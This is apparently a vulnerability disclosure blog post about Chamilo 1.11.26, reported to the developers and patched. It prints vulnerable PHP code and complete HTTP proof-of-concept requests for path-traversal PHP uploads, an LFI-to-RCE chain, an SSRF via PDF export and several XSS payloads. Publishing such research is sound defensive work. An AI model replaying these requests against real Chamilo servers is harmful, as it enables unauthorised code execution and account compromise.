2024-9-17 06:0:0 Author: blog.quarkslab.com(查看原文) 阅读量:4 收藏
The following blogpost explains how during a Red Team engagement we were able to identify several vulnerabilities including Remote Code Executions in the latest version of Chamilo.
Context
Chamilo is an open source e-Learning platform used by educators all around the world to digitalize and formalize their course content.
During a Red Team engagement, we found ourselves in a situation where the scope associated with our client was extremely restricted. However, we identified the existence of an up-to-date instance of Chamilo exposed over the Internet. This CMS is developed in PHP, making it a particularly interesting target for us. Knowing that several vulnerabilities were identified in 2023 by fellow researchers from RandoriSec and STAR Labs, we were confident of our chances of finding new vulnerabilities that would allow us to obtain our initial access.
We performed a time-constrained source code audit and identified numerous vulnerabilities in the latest version of the CMS (1.11.26 at the time), although only a few were useful in building a complete exploitation chain that allowed us to perform a Remote Code Execution without authentication.
Based on our source code audit, we identified the following vulnerabilities:
-
Multiple Arbitrary File Write to Remote Code Execution
-
Path Traversal to Local File Inclusion to Remote Code Execution
- V3: Path Traversal to Local File Inclusion via call to
require()in /main/inc/ajax/plugin.ajax.php
- V3: Path Traversal to Local File Inclusion via call to
-
Server Side Request Forgery (SSRF)
- V4: SSRF via the HTML to PDF conversion feature
-
Multiple Cross Site Scripting (XSS)
- Multiple Reflected Cross Site Scripting (XSS)
- Multiple Stored Cross Site Scripting (XSS)
Static analysis (manual reading of the code) was used to identify all the vulnerabilities without any SAST tools or any other tooling.
Amongst the 8 vulnerabilities identified in the core, one (V1) was used in our chain to achieve RCE (optionally V3 could have been used), as it is described in the diagram below.
V1: Arbitrary File Write via /main/inc/ajax/document.ajax.php
- Request path: /main/inc/ajax/document.ajax.php
- Request parameter:
$_FILES['upload']
File: /main/inc/ajax/document.ajax.php
<?php
...
require_once __DIR__.'/../global.inc.php';
$action = $_REQUEST['a'];
switch ($action) {
...
case 'ck_uploadimage':
api_protect_course_script(true);
// it comes from uploaimage drag and drop ckeditor
$isCkUploadImage = ($_COOKIE['ckCsrfToken'] == $_POST['ckCsrfToken']);
if (!$isCkUploadImage) {
exit;
}
$data = [];
$fileUpload = $_FILES['upload'];
$currentDirectory = Security::remove_XSS($_REQUEST['curdirpath']);
$isAllowedToEdit = api_is_allowed_to_edit(null, true);
if ($isAllowedToEdit) {
...
} else {
$userId = api_get_user_id();
$syspath = UserManager::getUserPathById($userId, 'system').'my_files'.$currentDirectory;
if (!is_dir($syspath)) {
mkdir($syspath, api_get_permissions_for_new_directories(), true);
}
$webpath = UserManager::getUserPathById($userId, 'web').'my_files'.$currentDirectory;
$fileUploadName = $fileUpload['name'];
if (file_exists($syspath.$fileUploadName)) {
$extension = pathinfo($fileUploadName, PATHINFO_EXTENSION);
$fileName = pathinfo($fileUploadName, PATHINFO_FILENAME);
$suffix = '_'.uniqid();
$fileUploadName = $fileName.$suffix.'.'.$extension;
}
if (move_uploaded_file($fileUpload['tmp_name'], $syspath.$fileUploadName)) {
$url = $webpath.$fileUploadName;
$relativeUrl = str_replace(api_get_path(WEB_PATH), '/', $url);
$data = [
'uploaded' => 1,
'fileName' => $fileUploadName,
'url' => $relativeUrl,
];
}
}
echo json_encode($data);
exit;
...
}
exit;
The above code snippet shows that the file content (controlled by the attacker)
is written to a location created from data supplied by the attacker
($_REQUEST['curdirpath'], $_FILES['upload']['name']). As a result, the
attacker can write a file while controlling its content and path, which allows
him to perform Remote Code Execution. Therefore, an authenticated user with the
minimum level of privilege can exploit this vulnerability.
Request to upload the file at the Chamilo Web root:
POST /Projects/chamilo_1.11.26/main/inc/ajax/document.ajax.php?a=ck_uploadimage&curdirpath=/../../../../../../ HTTP/1.1
Host: 127.0.0.1:58080
Content-Length: 227
Accept: */*
Cookie: ch_sid=<CHAMILO_COOKIE>
Content-Type: multipart/form-data; boundary=------------------------69e83ade0f7b04ec
Connection: close
--------------------------69e83ade0f7b04ec
Content-Disposition: form-data; name="upload"; filename="plugin.php"
Content-Type: application/octet-stream
<?php
phpinfo();
?>
--------------------------69e83ade0f7b04ec--
Response:
HTTP/1.1 200 OK
Date: Wed, 06 Mar 2024 12:37:44 GMT
Server: Apache/2.4.38 (Debian)
X-Content-Type-Options: nosniff
X-Powered-By: PHP/7.4.2
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 119
Connection: close
Content-Type: text/html; charset=UTF-8
{"uploaded":1,"fileName":"plugin.php","url":"\/app\/upload\/users\/3\/3\/my_files\/..\/..\/..\/..\/..\/..\/plugin.php"}
Depending on where the attacker intends to write his file, all he has to do is
play with the value of parameter $_REQUEST['curdirpath'], by figuring out the
number of patterns ../ needed to reach the
desired location.
Request to upload the file in /tmp:
POST /Projects/chamilo_1.11.26/main/inc/ajax/document.ajax.php?a=ck_uploadimage&curdirpath=/../../../../../../../../../../../../../../tmp/ HTTP/1.1
Host: 127.0.0.1:58080
User-Agent: curl/7.88.1
Accept: */*
Cookie: ch_sid=<CHAMILO_COOKIE>
Content-Length: 223
Content-Type: multipart/form-data; boundary=------------------------69e83ade0f7b04ec
Connection: close
--------------------------69e83ade0f7b04ec
Content-Disposition: form-data; name="upload"; filename="plugin.php"
Content-Type: application/octet-stream
<?php
phpinfo();
?>
--------------------------69e83ade0f7b04ec--
Response:
HTTP/1.1 200 OK
Date: Wed, 06 Mar 2024 00:26:46 GMT
Server: Apache/2.4.38 (Debian)
X-Content-Type-Options: nosniff
X-Powered-By: PHP/7.4.2
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 156
Connection: close
Content-Type: text/html; charset=UTF-8
{"uploaded":1,"fileName":"plugin.php","url":"\/app\/upload\/users\/3\/3\/my_files\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/tmp\/plugin.php"}
This is one of the vulnerabilities used in the chain to obtain Remote Code Execution without authentication.
V2: Arbitrary File Write via /main/admin/user_edit.php
- Request path: /main/admin/user_edit.php
- Request parameter:
$_POST['extra_testextrafields']
File: /main/inc/lib/extra_field_value.lib.php
Function: ExtraFieldValue::saveFieldValues()
<?php
...
public function saveFieldValues(
$params,
$onlySubmittedFields = false,
$showQuery = false,
$saveOnlyThisFields = [],
$avoidFields = [],
$forceSave = false,
$deleteOldValues = true
) {
...
// Parse params.
foreach ($extraFields as $fieldDetails) {
...
switch ($extraFieldInfo['field_type']) {
...
case ExtraField::FIELD_TYPE_FILE:
$fileDir = $fileDirStored = '';
switch ($this->type) {
case 'course':
$fileDir = api_get_path(SYS_UPLOAD_PATH).'courses/';
$fileDirStored = "courses/";
break;
case 'session':
$fileDir = api_get_path(SYS_UPLOAD_PATH).'sessions/';
$fileDirStored = "sessions/";
break;
case 'user':
$fileDir = UserManager::getUserPathById($params['item_id'], 'system');
$fileDirStored = UserManager::getUserPathById($params['item_id'], 'last');
break;
case 'work':
$fileDir = api_get_path(SYS_UPLOAD_PATH).'work/';
$fileDirStored = "work/";
break;
case 'scheduled_announcement':
$fileDir = api_get_path(SYS_UPLOAD_PATH).'scheduled_announcement/';
$fileDirStored = 'scheduled_announcement/';
break;
}
$cleanedName = api_replace_dangerous_char($value['name']);
$fileName = ExtraField::FIELD_TYPE_FILE."_{$params['item_id']}_$cleanedName";
if (!file_exists($fileDir)) {
mkdir($fileDir, $dirPermissions, true);
}
if (!empty($value['tmp_name']) && isset($value['error']) && $value['error'] == 0) {
$cleanedName = api_replace_dangerous_char($value['name']);
$fileName = ExtraField::FIELD_TYPE_FILE."_{$params['item_id']}_$cleanedName";
moveUploadedFile($value, $fileDir.$fileName);
...
}
break;
...
}
}
}
...
The code snippet above highlights that an authenticated user with high
privileges (more commonly an administrator) can upload a PHP file to the server
when modifying his profile. When creating the file sent by the attacker via
parameter $_POST['extra_testextrafields'], the controls on the generated
filename are too permissive (allowing the creation of PHP files). However,
unlike the vulnerability described above (V1), this one can only be
exploited by an administrator.
Request to upload the file:
POST /Projects/chamilo_1.11.26/main/admin/user_edit.php?user_id=1 HTTP/1.1
Host: 127.0.0.1:58080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------109845679426710278371552566468
Content-Length: 4880
Origin: http://127.0.0.1:58080
Connection: close
Referer: http://127.0.0.1:58080/Projects/chamilo_1.11.26/main/admin/user_edit.php?user_id=1
Cookie: ch_sid=<CHAMILO_COOKIE>
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
-----------------------------109845679426710278371552566468
Content-Disposition: form-data; name="firstname"
Jean
-----------------------------109845679426710278371552566468
Content-Disposition: form-data; name="lastname"
Dupont
-----------------------------109845679426710278371552566468
Content-Disposition: form-data; name="official_code"
ADMIN
-----------------------------109845679426710278371552566468
Content-Disposition: form-data; name="email"
[email protected]
-----------------------------109845679426710278371552566468
Content-Disposition: form-data; name="phone"
...
-----------------------------109845679426710278371552566468
Content-Disposition: form-data; name="extra_testextrafields"; filename="plugin.php"
Content-Type: application/x-php
<?php
phpinfo();
?>
-----------------------------109845679426710278371552566468
Content-Disposition: form-data; name="submit"
-----------------------------109845679426710278371552566468
Content-Disposition: form-data; name="_qf__user_edit"
-----------------------------109845679426710278371552566468
Content-Disposition: form-data; name="protect_token"
...
-----------------------------109845679426710278371552566468--
Response:
HTTP/1.1 302 Found
Date: Tue, 05 Mar 2024 23:01:56 GMT
Server: Apache/2.4.38 (Debian)
X-Content-Type-Options: nosniff
X-Powered-By: PHP/7.4.2
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: user_list.php
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8
Following the above request, a file is then stored at /app/upload/users/1/1/18_1_plugin.php.
This vulnerability has not been used within the exploit chain.
V3: Path Traversal to LFI via call to require() in /main/inc/ajax/plugin.ajax.php
- Request path: /main/inc/ajax/plugin.ajax.php
- Request parameter:
$_GET['plugin'] - Example of URL exploiting the vulnerability: /main/inc/ajax/plugin.ajax.php?a=md_to_html&plugin=../../../../../../../../../../../../tmp
File: /main/inc/ajax/plugin.ajax.php
<?php
/* For licensing terms, see /license.txt */
use Michelf\MarkdownExtra;
/**
* Responses to AJAX calls.
*/
require_once __DIR__.'/../global.inc.php';
api_block_anonymous_users();
$action = $_REQUEST['a'];
switch ($action) {
case 'md_to_html':
$plugin = isset($_GET['plugin']) ? $_GET['plugin'] : '';
$appPlugin = new AppPlugin();
$pluginInfo = $appPlugin->getPluginInfo($plugin);
...
break;
}
File: /main/inc/lib/plugin.lib.php
Function: AppPlugin::getPluginInfo()
<?php
...
public function getPluginInfo($plugin_name, $forced = false)
{
$pluginData = Session::read('plugin_data');
if (isset($pluginData[$plugin_name]) && $forced == false) {
return $pluginData[$plugin_name];
} else {
$plugin_file = api_get_path(SYS_PLUGIN_PATH)."$plugin_name/plugin.php";
$plugin_info = [];
if (file_exists($plugin_file)) {
require $plugin_file;
}
...
}
}
...
...
The above source code shows that by manipulating the parameter $_GET['plugin']
an attacker can control the first argument of the function AppPlugin::getPluginInfo()
which itself creates a path (vulnerable to Path Traversal) from its first
argument and then calls the require() function (Local File Inclusion, also
known as LFI) with the created path.
In fact, at this point, the attacker can already obtain code execution via an Arbitrary File Write (V1), so exploiting this vulnerability is not very useful. However, we did find a use for this vulnerability. If the attacker can't write his webshell to the root of the Web server, he can always write it to a directory such as /tmp and then use this vulnerability to execute it. It is more of a backup or fallback solution, allowing us to ensure RCE regardless of the context of the remote application.
This is one of the vulnerabilities used in the chain to obtain Remote Code Execution without authentication.
V4: SSRF via the HTML to PDF conversion feature
It has been identified during the source code audit that a user with the ability to upload files within a course can exploit an SSRF vulnerability via the PDF generation functionality. This vulnerability arises from the transformation of .html and .htm files into PDF due to the use of the underlying mPDF component, for which an SSRF has already been documented in a blogpost publicly accessible on the Internet.
The screenshots below and the associated HTTP requests illustrate how an attacker could trigger the vulnerability. The payload used in the following requests is as follows:
<html>
<link href="http://172.17.0.1:8000/A?B=C" rel="stylesheet" media="print"/>
<body>
<p>XSS and SSRF</p>
<img/src="x"onerror="alert(1234)"/>
</body>
</html>
Request to upload a file (part 1/3):
POST /Projects/chamilo_1.11.26/main/inc/lib/javascript/bigupload/inc/bigUpload.php?cidReq=COURSTEST&id_session=0&gidReq=0&gradebook=0&origin=document&action=upload&key=0&origin=document&name=poc.html HTTP/1.1
Host: 127.0.0.1:58080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-type: application/x-www-form-urlencoded
Content-Length: 195
Origin: http://127.0.0.1:58080
Connection: close
Referer: http://127.0.0.1:58080/Projects/chamilo_1.11.26/main/document/upload.php?cidReq=COURSTEST&id_session=0&gidReq=0&gradebook=0&origin=document&id=0
Cookie: ch_sid=<CHAMILO_COOKIE>
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
<html>
<link href="http://172.17.0.1:8000/A?B=C" rel="stylesheet" media="print"/>
<body>
<p>XSS and SSRF</p>
<img/src="x"onerror="alert(1234)"/>
</body>
</html>
Response:
HTTP/1.1 200 OK
Date: Sat, 02 Mar 2024 23:33:14 GMT
Server: Apache/2.4.38 (Debian)
X-Content-Type-Options: nosniff
X-Powered-By: PHP/7.4.2
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 38
Connection: close
Content-Type: text/html; charset=UTF-8
{"key":"40448921.tmp","errorStatus":0}
Request to upload a file (part 2/3):
POST /Projects/chamilo_1.11.26/main/inc/lib/javascript/bigupload/inc/bigUpload.php?cidReq=COURSTEST&id_session=0&gidReq=0&gradebook=0&origin=document&action=upload&key=40448921.tmp&origin=document HTTP/1.1
Host: 127.0.0.1:58080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-type: application/x-www-form-urlencoded
Content-Length: 0
Origin: http://127.0.0.1:58080
Connection: close
Referer: http://127.0.0.1:58080/Projects/chamilo_1.11.26/main/document/upload.php?cidReq=COURSTEST&id_session=0&gidReq=0&gradebook=0&origin=document&id=0
Cookie: ch_sid=<CHAMILO_COOKIE>
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Response:
HTTP/1.1 200 OK
Date: Sat, 02 Mar 2024 23:33:14 GMT
Server: Apache/2.4.38 (Debian)
X-Content-Type-Options: nosniff
X-Powered-By: PHP/7.4.2
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 38
Connection: close
Content-Type: text/html; charset=UTF-8
{"key":"40448921.tmp","errorStatus":0}
Request to upload a file (part 3/3):
POST /Projects/chamilo_1.11.26/main/inc/lib/javascript/bigupload/inc/bigUpload.php?cidReq=COURSTEST&id_session=0&gidReq=0&gradebook=0&origin=document&action=finish HTTP/1.1
Host: 127.0.0.1:58080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-type: application/x-www-form-urlencoded
Content-Length: 184
Origin: http://127.0.0.1:58080
Connection: close
Referer: http://127.0.0.1:58080/Projects/chamilo_1.11.26/main/document/upload.php?cidReq=COURSTEST&id_session=0&gidReq=0&gradebook=0&origin=document&id=0
Cookie: ch_sid=<CHAMILO_COOKIE>
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
key=40448921.tmp&name=poc.html&type=text/html&size=195&origin=document&title=Test+SSRF+via+.html+file&comment=&if_exists=rename&_qf__upload=&id=0&curdirpath=%2F&MAX_FILE_SIZE=104857600
Response:
HTTP/1.1 200 OK
Date: Sat, 02 Mar 2024 23:33:15 GMT
Server: Apache/2.4.38 (Debian)
X-Content-Type-Options: nosniff
X-Powered-By: PHP/7.4.2
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 179
Connection: close
Content-Type: text/html; charset=UTF-8
{"errorStatus":0,"redirect":"http:\/\/127.0.0.1:58080\/Projects\/chamilo_1.11.26\/main\/document\/document.php?cidReq=COURSTEST&id_session=0&gidReq=0&gradebook=0&origin=document"}
Request to generate the PDF file:
GET /Projects/chamilo_1.11.26/main/document/document.php?cidReq=COURSTEST&id_session=0&gidReq=0&gradebook=0&origin=document&action=export_to_pdf&id=6&curdirpath=%2F&sec_token=9be32517b0bd7710ada5ed1241792b80 HTTP/1.1
Host: 127.0.0.1:58080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Connection: close
Referer: http://127.0.0.1:58080/Projects/chamilo_1.11.26/main/document/document.php?cidReq=COURSTEST&id_session=0&gidReq=0&gradebook=0&origin=document&action=export_to_pdf&id=6&curdirpath=%2F&sec_token=89a8ed03b8c11891347221d1240d80a4
Cookie: ch_sid=<CHAMILO_COOKIE>
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Furthermore, the HTML file being present on the file system, can also trigger a stored XSS once the file path has been identified.
This vulnerability has not been used within the exploit chain.
V5: Reflected XSS in /main/session/session_category_list.php
- Request path: /main/session/session_category_list.php
- Request parameter:
$_REQUEST['keyword'] - Example of URL exploiting the vulnerability: /main/session/session_category_list.php?keyword=IVOIRE%22autofocus=%22%22onfocus=%22alert(1)
File: /main/session/session_category_list.php
<?php
...
<a href="<?php echo api_get_self(); ?>?page=<?php echo $page
- 1; ?>&sort=<?php echo $sort; ?>&order=<?php echo Security::remove_XSS(
$_REQUEST['order']
); ?>&keyword=<?php echo $_REQUEST['keyword']; ?><?php echo @$cond_url; ?>">
<?php echo get_lang('Previous'); ?></a>
<?php
} else {
echo get_lang('Previous');
} ?>
|
<?php
if ($nbr_results > $limit) {
?>
<a href="<?php echo api_get_self(); ?>?page=<?php echo $page
+ 1; ?>&sort=<?php echo $sort; ?>&order=<?php echo Security::remove_XSS(
$_REQUEST['order']
); ?>&keyword=<?php echo $_REQUEST['keyword']; ?><?php echo @$cond_url; ?>">
<?php echo get_lang('Next'); ?></a>
...
A user with access to the page /main/session/session_category_list.php can trigger the vulnerability.
Request:
GET /Projects/chamilo_1.11.26/main/session/session_category_list.php?keyword=IVOIRE%22autofocus=%22%22onfocus=%22alert(1) HTTP/1.1
Host: 127.0.0.1:58080
Cookie: ch_sid=<CHAMILO_COOKIE>
Response:
HTTP/1.1 200 OK
Server: Apache/2.4.38 (Debian)
X-Powered-By: Chamilo 1
Content-Type: text/html; charset=UTF-8
Content-Length: 27367
...
<div class="pull-right">
<form method="POST" action="session_category_list.php" class="form-inline">
<div class="form-group">
<input class="form-control" type="text" name="keyword" value="IVOIRE"autofocus=""onfocus="alert(1)"
aria-label="Rechercher"/>
<button class="btn btn-default" type="submit" name="name"
value="Rechercher"><em
class="fa fa-search"></em> Rechercher</button>
<!-- <a href="session_list.php?search=advanced">Recherche avancée</a> -->
</div>
</form>
</div>
...
A Reflected XSS could trivially be identified and exploited by crafting a URL
containing a malicious $_REQUEST['keyword'] parameter.
This vulnerability has not been used within the exploit chain.
V6: Reflected XSS in /main/upload/index.php
- Request path: /main/upload/index.php
- Request parameter:
$_REQUEST['tool'] - Example of URL exploiting the vulnerability: /main/upload/index.php?tool=IVOIRE%22%3E%3Cscript%3Ealert(4)%3C/script%3E%3Cinput%20type=%22
File: /main/upload/form.document.php
<?php
...
$nameTools = get_lang('FileUpload');
$interbreadcrumb[] = ["url" => "../lp/lp_controller.php?action=list", "name" => get_lang(TOOL_DOCUMENT)];
Display::display_header($nameTools, "Doc");
// Show the title
api_display_tool_title($nameTools.$add_group_to_title);
?>
<div id="dynamic_div" style="display:block;margin-left:40%;margin-top:10px;height:50px;">
</div>
<div id="upload_form_div" name="form_div" style="display:block;">
<form method="POST" action="upload.php" id="upload_form" enctype="multipart/form-data">
<input type="hidden" name="curdirpath" value="<?php echo $path; ?>">
<input type="hidden" name="tool" value="<?php echo $my_tool; ?>">
<input type="file" name="user_file">
<input type="submit" name="submit" value="Upload">
</form>
</div>
<br/>
<?php
Display::display_footer();
A Reflected XSS could trivially be identified and exploited by crafting a URL
containing a malicious $_REQUEST['tool'] parameter.
This vulnerability has not been used within the exploit chain.
V7: Stored XSS in /main/calendar/agenda.php
- Request path: /main/calendar/agenda.php
- Request parameter:
$_POST['content']
It is possible to exploit a stored XSS via the calendar functionality. The problem is that it is only triggered when the event content of the event is modified. As a result, its use in a realistic attack scenario is very limited, unlike the next vulnerability which will be described (V8).
This vulnerability has not been used within the exploit chain.
V8: Stored XSS via the messaging feature
An attacker can send a malicious private message to an administrator using a slightly altered payload (compared to previous ones). When the administrator opens the message and attempts to reply, the payload executes, potentially allowing the attacker to gain code execution (V2).
- Request path: /main/messages/new_message.php
- Request parameter:
$_POST['content']
This vulnerability has not been used within the exploit chain.
Conclusion
Obtaining a Remote Code Execution from a non-authenticated user by chaining some of the vulnerabilities presented is trivial (V1, V3), as the functionality allowing a user to register is enabled on a default installation. However, during our mission, the feature had been disabled and we therefore exploited another vulnerability (SQL Injection without authentication in a plugin) to obtain the complete chain.
It's not uncommon to look for 0-day vulnerabilities during a Red Team exercise, especially in certain special cases (restricted attack surface, need for stealth, etc.), and we're pleased to have been able to find them.
Implementation of corrective measures
The vulnerabilities were reported to the Chamilo development team on April 4, 2024. We would like to thank the Chamilo developers, with whom interactions concerning vulnerability reports and the implementation of patches were very smooth.
The commits to patch the identified vulnerabilities were sent to us in batches. The list of commits implementing patches for the identified vulnerabilities is available below:
If you would like to learn more about our security audits and explore how we can help you, get in touch with us!
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